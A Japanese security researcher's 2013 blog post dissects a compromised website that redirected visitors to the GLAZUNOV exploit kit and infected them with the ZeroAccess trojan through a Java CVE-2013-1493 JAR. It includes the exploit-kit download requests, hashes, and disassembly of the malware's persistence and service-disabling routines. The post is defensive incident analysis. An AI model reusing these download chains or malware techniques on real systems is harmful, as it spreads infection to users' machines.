火曜日, 7月 30, 2013

#OCJP-118:国内ウェブ感染調査:「yusn・net」と「GLAZUNOV」エクスプロイトキットのZeroAccessボットネット感染

下記のサイト/URLは
hxxp://yusn・net 
国内にあるウェブサイトですね。このサイトは「GAZUNOV」エクスプロイトキットのマルウェア転送コードを発見しました。
ハッカーがFTP経由からそのサイトに入り、「WP Super Cache」古いバーションの環境がいじられて、色んなPHPファイルに転送コードが書かれて、IE(Firefox,Opera,Chrome,Safariではありません)とJavaが検索エンジンからのアクセスが来ると外にあるGLAZUNOV」エクスプロイトキットのサイトへ飛ばされて、Zero Access/MaxPlus/Sirerefのボットネット・トロイに感染されます。
本事件には.htaccess、php.ini、default.phpなどのマルウェアサイトの転送仕組みではありません。
さらにDarkleechやcDorked又はその他のサーバ経由のモジュールの感染仕組みと違います。

上記の動きの確認するのは中々難しい状況ですので、このブログで詳しい調査確認情報を書きます。

【感染の不具合について、転送動き】

本日22時に調査始めた時に下記の画像でした↓


普通にアクセスしたら何も起きなく見えてますね、トップページのソースとPCAPスナップショットも一応一緒にとりました↓


トップページのソースをもっと近くに見たら下記の様に見えています↓

では、ブラウザの条件を変えましょう、一番感染しやすいように設定を変更しました→「IE6、JavaありとRefererあり/直接アクセス無し」でもう一度アクセスしました、セッションキャップチャーとPCAPも取りましょう。
PCAPを見たらアクセスした時のHTTPセッションの流れは下記となります↓


友達に頼んでもう一度キャップチャーしてくれて、全体的なリクエスト情報を全て見えます↓

↑data by @kafeine, w/thank's

これでマルウェア感染の証明の証明が出来ました。

ノート:赤色マークしたのセッションはマルウェア感染3件のセッションですね。

上記の全体的なセッションの画像を見たら、下記のリクエストはマルウェア感染リクエストです↓
hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/733
hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/5504.zip
hxxp://212.124.115.197-static.reverse.softlayer.com:8080/17371 

取ったPCAPの全体的なダウンロードセッションを見たらトップページにマルウェア感染コードをインジェクションされました↓

↑その前に取ったトップページのソースと比べたら無かったコードでした。それはマルウェア感染コードで、
サイトのトップページにインジェクションされたコードです。もっとはっきり見えるようにしましょう↓
ブラウザから見るとindex.htmlに下記のコードを発見しました↓

↑JavaのJNLP機能を使っていますね、それで、インジェクションのコードに転送先のURLが書いてあります。

【使われたエクスプロイトキットの調査】

続いて、その3件のHTTPレクエストに戻ると、リクエストの種類を分析すると下記の説明です↓

(A) マルウェアドメイン:8080/3167716386/733 ← PluginDetect JavaScript(ブラウザ/Java/その他プラグインバーション確認コード)
(B) マルウェアドメイン:8080/3167716386/5504.zip ←ZIPでは無くJAR(JAVA実行ファイル)のExploit/感染ファイル
(C) マルウェアドメイン:8080/17371 ←マルウェアファイル、ハッシュ:0692549ab1d8641b03e8d71f455f81dc

それぞれのセッションを説明します!

(A)セッションを詳しく見たら↓

リクエスト↓
GET hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/733 HTTP/1.1
Accept: */*
Referer: http://yusn.net/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 212.124.115.197-static.reverse.softlayer.com:8080
Connection: Keep-Alive
回答↓
HTTP/1.1 200 OK
Connection: close
Content-Type: application/javascript
Content-Length: 30399
Server: Apache/2.2.9
データはPluginDetectです、バーション0.8.1(最新版)が使われています。PLuginDetectはJavaScriptツールでブラウザとインストールされたプラグインの情報を確認が出来る為のソフトです↓

↑このPluginDetectのコードはトップページにインジェクションされたコードからコールされています。

(B)セッションはJARエクスプロイトファイルのダウンロードですね。

リクエスト↓
GET hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/5504.zip HTTP/1.1
accept-encoding: gzip
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.7.0_07
Host: 212.124.115.197-static.reverse.softlayer.com:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
回答↓
HTTP/1.1 200 OK
Connection: close
Content-Type: application/x-java-archive
Content-Length: 9517
Server: Apache/2.2.9
データはJARファイルですので、その中にはマルウェアダウンロードURL調べる方法があります↓

開いたら中にはエクスプロイトとマルウェアダウンロードURLがエンコーディングされています、下記はエクスプロイト情報↓

このjarがJava CVE-2013-1493のエクスプロイトですね、マークされたコードはCVE-2013-1493脆弱性が使われているcomponentとなります。脆弱性に影響されたJavaプラグインにヒットされたらマルウェアをダウンロードされます。

このjarをウイルストータルに確認すると↓
URL: https://www.virustotal.com/en/file/02f406c04fe119d262b9b0c3605c7b5b95380ce313bfbe3211c9e72a5160ccb9/analysis/1375117024/
SHA256: 02f406c04fe119d262b9b0c3605c7b5b95380ce313bfbe3211c9e72a5160ccb9
SHA1:  ee040fdb8b969f938e54f14c399f7044713a08d9
MD5:  a3a5a7eb0a8286ef83b6df86367c361a
File size:  27.1 KB ( 27721 bytes )
File name:  5504.zip.jar
File type:  ZIP
Detection ratio:  5 / 46
Analysis date:  2013-07-29 16:57:04 UTC ( 0 minutes ago ) 
検知率が低い(5/46)ですね。

最後に...
(C)セッションはマルウェアファイル

リクエストは↓
GET hxxp://212.124.115.197-static.reverse.softlayer.com:8080/17371 HTTP/1.1
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.7.0_07
Host: 212.124.115.197-static.reverse.softlayer.com:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
回答↓
HTTP/1.1 200 OK
Connection: close
Content-Type: application/octet-stream
Content-Length: 198144
Server: Apache/2.2.9
データ↓

↑マルウェアPE(Windows実行)ファイルですね。「Zero Access / MaxPlus / Sireref」のトロイです。

マルウェアファイルをウイルストータルに確認したら、検知率はとても弱い(3/45)ですね↓
URL: https://www.virustotal.com/en/file/3f8bbf190de1628b2072f011000ebcd31516b9a136272c5d2439b889a112f38f/analysis/1375108446/
SHA256: 3f8bbf190de1628b2072f011000ebcd31516b9a136272c5d2439b889a112f38f
SHA1:  76792ccbb16dcddfab877989a409a21d6b69d391
MD5:  0692549ab1d8641b03e8d71f455f81dc
File size:  193.5 KB ( 198144 bytes )
File name:  0692549ab1d8641b03e8d71f455f81dc_kaf0x0
File type:  Win32 EXE
Detection ratio: 3 / 45
Analysis date:  2013-07-29 10:27:21 UTC ( 4 hours, 8 minutes ago ) 

では、全て取ったマルウェア感染ファイルを取りましたので、下記となります↓


【マルウェアpayloadのバイナリ調査】

ZeroAccessのバイナリ情報は↓
File Name:      RegNow.exe
File Size:      198144 byte
Compile Time:   2013-07-29 17:18:01
DLL:            False
Sections:       6
MD5   hash:     0692549ab1d8641b03e8d71f455f81dc
SHA-1 hash:     76792ccbb16dcddfab877989a409a21d6b69d391
None
Anti Debug:     None
Anti VM:        None

File and URL:
FILE:           KERNEL32.dll
FILE:           USER32.dll
FILE:           ADVAPI32.dll
FILE:           GetRightToGo.com
URL:            None

Suspicious API Functions:
Func. Name:     VirtualAlloc
Func. Name:     RegOpenKeyExA

Sections:
.text 0x1000 0x42d4 17408
.text2 0x6000 0xbb8 3072
.data 0x7000 0x2f4 512
.data2 0x8000 0x24ace 150528
.rsrc 0x2d000 0x6100 25088
.reloc 0x34000 0x128 512

Suspicious Sections:
Sect. Name:     .text2^@^@
MD5   hash:     fc933babbe5ea56fb69561992f4fcfd0
SHA-1 hash:     634d68545ad9e1a2a9e265850e223f6a6c3702ed

InternalName: RegNow Download Manager
FileDescription: RegNow Download Manager
FileVersion: 1.0.0
CompanyName: RegNow.com
Translation: 0x0409 0x04e4

Resources Table:

Name               RVA      Size     Lang         Sublang                  Type
--------------------------------------------------------------------------------
RT_ICON            0x2d250  0x568    LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     GLS_BINARY_LSB_FIRST
RT_ICON            0x2d7b8  0x468    LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     GLS_BINARY_LSB_FIRST
RT_ICON            0x2dc20  0x2e8    LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     data
RT_ICON            0x2df08  0x8a8    LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     data
RT_ICON            0x2e7b0  0x10a8   LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     data
RT_ICON            0x2f858  0xea8    LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     data
RT_ICON            0x30700  0x25a8   LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     data
RT_GROUP_ICON      0x32ca8  0x68     LANG_INDONESIAN SUBLANG_ARABIC_EGYPT     MS Windows icon resource - 7 icons, 16x16, 256-colors
RT_VERSION         0x32d10  0x1e8    LANG_ENGLISH SUBLANG_ENGLISH_US       data
RT_MANIFEST        0x32ef8  0x206    LANG_ENGLISH SUBLANG_ENGLISH_US       ASCII text, with very long lines, with CRLF line terminators
上記の情報を見ると何時作った、どんな言語環境で作ったか分かりました。
.text2が非常にあやしいので、確認したら”encode”(encodeっていうか…暗号じゃないけど…沢山変なCHARが並べていくだけ…リバースの邪魔為に)のデータを発見↓
0000   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0010   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0020   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0030   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0040   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0050   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0060   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0070   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0080   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
0090   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
00A0   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    ................
続いて、ここでリバースのスタートが出来ますが…↓
[0x00000cd0:0x004018d0]> 
0x00000cd0 ; FUNCTION start
0x00000cd0 (01) 55                     PUSH EBP
0x00000cd1 (02) 8bec                   MOV EBP, ESP
0x00000cd3 (01) 55                     PUSH EBP
0x00000cd4 (06) 8f05d8714000           POP DWORD [0x4071d8]
0x00000cda (06) ff35d8714000           PUSH DWORD [0x4071d8]
0x00000ce0 (05) 68ed184000             PUSH DWORD 0x4018ed
0x00000ce5 (05) 68e0134000             PUSH DWORD 0x4013e0
0x00000cea (01) 59                     POP ECX
0x00000ceb (01) 51                     PUSH ECX
0x00000cec (01) c3                     RET
0x00000cec ----------------------------------------------------------------------
0x00000ced (01) 5d                     POP EBP
   :
などなど…、グラフでは下記nお流れ↓


これ以上そんなに見えないので、バイナリーをdepackしてから調査続きます…
色々見えないなのは、例えば「.text」がエンコードされた状況、「.rdata」が暗号された..など、
…すると…下記の情報を発見↓

【マルウェアpayloadのリバース調査の結果】

Cryptoを発見↓
Microsoft Base Cryptographic Provider v1.0
ニセGoogleアップデートプロセスを狙いそうですね(^^↓
GoogleUpdate.exe
Google Update Service (gupdate)
Keeps your Google software up to date. If this service is disabled or stopped, 
your Google software will not be kept up to date, meaning security vulnerabilities 
that may arise cannot be fixed and features may not work. This service uninstalls 
itself when there is no Google software using it.
↑このニセGoogle Updateの情報をレジストリーにインジェクションされている↓
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Google Update
Size: 394
Value: "<"C:\Documents and Settings\User\Local Settings\Application Data
             \Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\{HEX}\{6576a1a8-5f9f-db0e-2056-8660563a58ee}
             \GoogleUpdate.exe" >"
さらにニセInstall Flash Playerに保存する動きも発見しました↓
.text:00402846 test    esi, esi
.text:00402848 jz      loc_4028F2
.text:0040284E mov     ecx, [ebp+var_10]
.text:00402851 mov     edx, offset aInstallflashpl ; "\\InstallFlashPlayer.exe"
.text:00402856 call    sub_4020DB
.text:0040285B push    ebx
.text:0040285C lea     eax, [ebp+var_18]
レジストリーのオートスタートコード↓
\registry\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

//CODE:
.text:004021F8 lea     eax, [ebp+var_20]
.text:004021FB push    eax
.text:004021FC push    offset aWzSoftwareMi_0 ; "%wZ\\Software\\Microsoft\\Windows\\CurrentVersion\Run"
.text:00402201 push    edi             ; wchar_t *
.text:00402202 call    ds:swprintf
Windowsセキュリティソフトをチェック↓
Windows Defender
Awscntfy.exe
AMSASCui.exe
AMpCmdRun.exe
AMsMpEng.exe
ANisSrv.exe
Amsseces.exe
A\registry\MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend
\registry\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellServiceObjects\{FD6905CE-952F-41F1-9A6F-135D9C6622CC}
A\registry\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellServiceObjects\{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A}
Microsoft Security Client
\\systemroot\\system32\\configの変更…ハードコーディングで…
.text:00402E62 mov     esi, ds:wcslen
.text:00402E68 push    offset aSystemrootSyst ; "\\systemroot\\system32\\config"
.text:00402E6D call    esi ; wcslen
.text:00402E6F add     eax, eax
.text:00402E71 movzx   edi, ax
.text:00402E74 mov     [esp+4Ch+var_4C], offset aCWindowsSystem ; "c:\\windows\\system32\\config"
.text:00402E7B call    esi ; wcslen
.text:00402E7D add     eax, eax
.text:00402E7F movzx   ebx, ax
x64のチェック…
ProgramW6432=
IsWow64
HTTPリクエストコマンド、GeoIP←ZeroAccessがよーく使っています↓
GET /app/geoip.js HTTP/1.0
Host: j.maxmind.com
Connection: close
geoip_country_code
j.maxmind.com
レジストリーに下記の情報をころころリクエストされて…
\Microsoft\Windows\Safer\CodeIdentifiers\0\UrlZones
\Microsoft\Windows\Safer\CodeIdentifiers\4096\Paths
\Microsoft\Windows\Safer\CodeIdentifiers\4096\Hashes
\Microsoft\Windows\Safer\CodeIdentifiers\4096\UrlZones
\Microsoft\Windows\Safer\CodeIdentifiers\65536\Paths
\Microsoft\Windows\Safer\CodeIdentifiers\65536\Hashes
\Microsoft\Windows\Safer\CodeIdentifiers\65536\UrlZones
\Microsoft\Windows\Safer\CodeIdentifiers\131072\Paths
\Microsoft\Windows\Safer\CodeIdentifiers\131072\Hashes
\Microsoft\Windows\Safer\CodeIdentifiers\131072\UrlZones
\Microsoft\Windows\Safer\CodeIdentifiers\262144\UrlZones
\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths
\Microsoft\Windows\Safer\CodeIdentifiers\262144\Hashes
\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths
    :                                         :
下記のレジストリーデータが削除された。。。
HKLM\System\CurrentControlSet\Services\SharedAccess\Enum
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications
HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
HKLM\System\CurrentControlSet\Services\SharedAccess\Setup
HKLM\System\CurrentControlSet\Services\SharedAccess\Setup\InterfacesUnfirewalledAtUpdate
HKLM\System\CurrentControlSet\Services\wscsvc
HKLM\System\CurrentControlSet\Services\wscsvc\Enum
HKLM\System\CurrentControlSet\Services\wscsvc\Parameters
HKLM\System\CurrentControlSet\Services\wscsvc\Security
実際にこのDLLを使っています(隠されたDLLが多い)↓
GDI32.dll   
USER32.dll  
IMM32.DLL   
ntdll.dll   
kernel32.dll
Secur32.dll  ←注意(確認・チェック・DEP)
RPCRT4.dll  
ADVAPI32.dll
USP10.dll   
LPK.DLL     
msvcrt.dll  
WS2HELP.dll 
WS2_32.dll  ←注意(結構マルウェア使われています)
SHLWAPI.dll 
SHELL32.dll 
comctl32.dll
mswsock.dll  ←注意(ネットワーク)
hnetcfg.dll  ←注意(ネットワーク)
wshtcpip.dll  ←注意(ネットワーク)
rsaenh.dll  ←注意(エンコーディング)
crypt32.dll ←注意(エンコーディング)
Apphelp.dll 
VERSION.dll 
保存されたファイル一覧は↓
C:\Documents and Settings\User\Local Settings\Application Data\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\❤≸⋙\Ⱒ☠⍨\‮ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\@ 2048 2009.01.09 10:54:24.984 2009.01.09 10:54:24.984 2009.01.09 10:54:24.984 0x26
C:\Documents and Settings\User\Local Settings\Application Data\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\❤≸⋙\Ⱒ☠⍨\‮ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\GoogleUpdate.exe 110592 2009.01.09 10:54:24.843 2009.01.09 10:54:24.828 2009.01.09 10:54:24.828 0x26
C:\Program Files\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\ \ \‮ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\@ 2048 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 0x26
C:\Program Files\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\ \ \‮ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\GoogleUpdate.exe 110592 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 0x26

【行動分析調査】

さて、最後に、実行しました。
マルウェアの起動動きは上記リバース通りで動いていますが、ネットワーク動きはこんな感じです↓

Sandboxの環境で実行されたら”必ず”クラッシュしてしまうwww

本物PCで確認しましうか?(^^; ↓

GeoIPリクエスト証拠と回答↓



本来「194.165.17.4」のCNC IPとZeroAccess ボットネットコミュニケーションを発見↓


「194.165.17.4」/CNCはロシアのIPですね…


順番敵に、この段取りでトラフィックが流れていました↓

↑上記3件の段取りですね。

上記の段取りのそれぞれ投げられたボットネットコマンドは下記となります↓

↑encryptedなプロトコルですね。

【結論】

1.本件の感染サイトは、.htaccess又はphp.ini又はdefault.php又はその他のサーバサイトのハッキングの原因でマルウェアインジェクションプログラムを入れてしまったそうですので、Apache周りファイルの全てを明確に御確認をお願いします。

2.暫くサービスを止めた方がいいと思います、結構沢山感染された方々が出れます。

3.ZeroAccess / MaxPlus / Sirefefのボットネットが結構広いネットワークが持っていますので、早めに止めたほうがいいと思います。

4.何か分からなかったら私に@unixfreaxjp(ツイッター)でご連絡下さい。


【色々追加情報】

(1)null embed トリック@レジストリー
除プロセスが出来ないようにレジストリーの「null embed」トリックを発見。
感染されたマシンに、レジストリーの所には「null embed」コードを発見しました。
見た目はこんな感じです↓
000011F0   50 00 61 00 72 00 61 00  6D 00 65 00 74 00 65 00   P a r a m e t e
00001200   72 00 73 00 00 00 2E 20  64 27                     r s   . d'
↑これは非常に不味いので、マルウェアの除方法が危なくなる、下手になるとパソコンが再起動出来ない可能性が出ます。
このコードの目的は除プロセスの邪魔する方法ですね。
一応手で直す方法もあるけれど、HEXエディターで、一般ユーザは無理ですね…
マイクロソフト社がリリースしたツール「regdelnull hklm -s」のコマンドで使えば90%ぐらい直せる。
確実なのはレジストリーのバックアップを戻す方法です。

(2)Virtual Protectのバリューを弄る、DEP違反…
.text:00401C23  push    esi
.text:00401C24  push    edi
.text:00401C25  mov     edi, ds:VirtualProtect
.text:00401C2B  lea     eax, [esp+1A0h+flOldProtect]
.text:00401C2F  push    eax             ; lpflOldProtect
.text:00401C30  push    40h             ; flNewProtect
.text:00401C32  mov     esi, ebx
.text:00401C34  push    7               ; dwSize
.text:00401C36  sub     esi, 5
.text:00401C39  push    esi             ; lpAddress
.text:00401C3A  call    edi ; VirtualProtect
.text:00401C3C  test    eax, eax
.text:00401C3E  jz      short loc_401C66
.text:00401C40  mov     eax, offset sub_401B91
.text:00401C45  sub     eax, esi
.text:00401C47  sub     eax, 5
.text:00401C4A  mov     [esi+1], eax
.text:00401C4D  lea     eax, [esp+1A0h+flOldProtect]
.text:00401C51  push    eax             ; lpflOldProtect
.text:00401C52  push    [esp+1A4h+flOldProtect] ; flNewProtect
.text:00401C56  mov     byte ptr [esi], 0E8h
.text:00401C59  push    7               ; dwSize
.text:00401C5B  push    esi             ; lpAddress
.text:00401C5C  mov     byte ptr [esi+5], 0EBh
.text:00401C60  mov     byte ptr [esi+6], 0F9h
.text:00401C64  call    edi ; VirtualProtect
  :

(3)何回もSHELLで実行する積もりだね…
.text:004028DD lea     eax, [ebp+ExecInfo]
.text:004028E0 push    eax             ; lpExecInfo
.text:004028E1 call    ds:ShellExecuteExW
.text:004028E7 test    eax, eax
.text:004028E9 jz      short loc_4028DD
.text:004028EB push    0Ch
.text:004028ED call    sub_40297A
   :
   ↓(この流れ…)
   :
.text:00402774 var_D0   = dword ptr -0D0h
.text:00402774 var_C0   = dword ptr -0C0h
.text:00402774 ExecInfo = _SHELLEXECUTEINFOW ptr -6Ch
.text:00402774 var_30   = dword ptr -30h
.text:00402774 var_2C   = dword ptr -2Ch
.text:00402774 var_28   = dword ptr -28h
.text:00402774 var_24   = dword ptr -24h
.text:00402774 var_18   = dword ptr -18h
.text:00402774 var_10   = dword ptr -10h
.text:00402774 var_C    = dword ptr -0Ch
.text:00402774 var_8    = dword ptr -8
.text:00402774 hMem     = dword ptr -4
  :

(4)このコードでセキュリティ関係のサービスをKILLするつもりですね…
.text:00402CE2  sub     esp, 1Ch
.text:00402CE5  lea     eax, [esp+1Ch+var_1C]
.text:00402CE8  push    eax             ; lpServiceStatus
.text:00402CE9  push    1               ; dwControl
.text:00402CEB  push    esi             ; hService
.text:00402CEC  call    ds:ControlService ; Send a control code to a Win32 service
.text:00402CF2  xor     eax, eax
.text:00402CF4  push    eax             ; lpDisplayName
.text:00402CF5  push    eax             ; lpPassword
.text:00402CF6  push    eax             ; lpServiceStartName
.text:00402CF7  push    eax             ; lpDependencies
.text:00402CF8  push    eax             ; lpdwTagId
.text:00402CF9  push    eax             ; lpLoadOrderGroup
.text:00402CFA  push    eax             ; lpBinaryPathName
.text:00402CFB  push    eax             ; dwErrorControl
.text:00402CFC  push    4               ; dwStartType
.text:00402CFE  push    20h             ; dwServiceType
.text:00402D00  push    esi             ; hService
.text:00402D01  call    ds:ChangeServiceConfigW
.text:00402D07  push    esi             ; hService
.text:00402D08  call    ds:DeleteService
.text:00402D0E  push    esi             ; hSCObject
.text:00402D0F  call    ds:CloseServiceHandle
.text:00402D15  add     esp, 1Ch
.text:00402D18  retn

(5)マルウェアのニセプロセスを立ち上がる←とのコード↓
.text:004030E6  mov     edi, ds:OpenServiceW
.text:004030EC  mov     ebx, 0F01FFh
.text:004030F1  push    ebx             ; dwDesiredAccess
.text:004030F2  push    offset ServiceName ; "SharedAccess"
.text:004030F7  push    ebp             ; hSCManager
.text:004030F8  call    edi ; OpenServiceW
.text:004030FA  test    eax, eax
.text:004030FC  jz      short loc_403105
.text:004030FE  mov     esi, eax
.text:00403100  call    sub_402CE2
   :
.text:00403105  push    ebx             ; dwDesiredAccess
.text:00403106  push    offset aIphlpsvc ; "iphlpsvc"
.text:0040310B  push    ebp             ; hSCManager
.text:0040310C  call    edi ; OpenServiceW
.text:0040310E  test    eax, eax
.text:00403110  jz      short loc_403119
.text:00403112  mov     esi, eax
.text:00403114  call    sub_402CE2
  :
.text:00403119  push    ebx             ; dwDesiredAccess
.text:0040311A  push    offset aWscsvc  ; "wscsvc"
.text:0040311F  push    ebp             ; hSCManager
.text:00403120  call    edi ; OpenServiceW
.text:00403122  test    eax, eax
.text:00403124  jz      short loc_40312D
.text:00403126  mov     esi, eax
.text:00403128  call    sub_402CE2
   :
.text:0040312D  push    ebx             ; dwDesiredAccess
.text:0040312E  push    offset aMpssvc  ; "mpssvc"
.text:00403133  push    ebp             ; hSCManager
.text:00403134  call    edi ; OpenServiceW
.text:00403136  test    eax, eax
.text:00403138  jz      short loc_403141
.text:0040313A  mov     esi, eax
.text:0040313C  call    sub_402CE2
   :
.text:00403141  push    ebx             ; dwDesiredAccess
.text:00403142  push    offset aBfe     ; "bfe"
.text:00403147  push    ebp             ; hSCManager
.text:00403148  call    edi ; OpenServiceW
.text:0040314A  test    eax, eax
.text:0040314C  jz      short loc_403155
.text:0040314E  mov     esi, eax
.text:00403150  call    sub_402CE2
   :          :

(6)マルウェアのバイナリーをdepackしてから↓
URL: https://www.virustotal.com/en/file/15537deeeee6bcf298a2a8035ee172b44abeb53b8b60bcc84492719a243c52c9/analysis/1375183950/
SHA256: 15537deeeee6bcf298a2a8035ee172b44abeb53b8b60bcc84492719a243c52c9
SHA1:  87829ea7487b92243dc29b986242dfee4d4a51bb
MD5:  9a1b5d7e9f51f09a2a9d3b93bd5602ba
File size:  108.0 KB ( 110592 bytes )
File name:  sample
File type:  Win32 EXE
Detection ratio:  14 / 46
Analysis date:  2013-07-30 11:32:30 UTC ( 0 minutes ago ) 
以上

PS: English malware analysis is in here. English IR analysis of the hacked server is here.

【サーバの調査結果】


ハッキングの原因はFTPです。
感染仕組みの原因はWP-SUPER-CACHEの脆弱性です。
WP Super Cacheのハッキングについて、参考情報はこちらです。

感染されたファイルの証拠↓
サーバの管理者から調査依頼が頂きサーバの調査をやらせて頂きました。結果↓


↑サーバ側に発見したマルウェアコードについて、別途の調査レポートで書きます。

【対応方法】
・FTPのユーザとパスワード変更
・マルウェアファイル削除
・WP Super Cacheプラグインを削除
・WPバーションを最新版にアップグレード

調査担当者: @unixfreaxjp 0day.jp
クレジット: K-PROX製品(感染ログ)、@kafeine、@hugbomb、@malwaremustdie

0 件のコメント:

コメントを投稿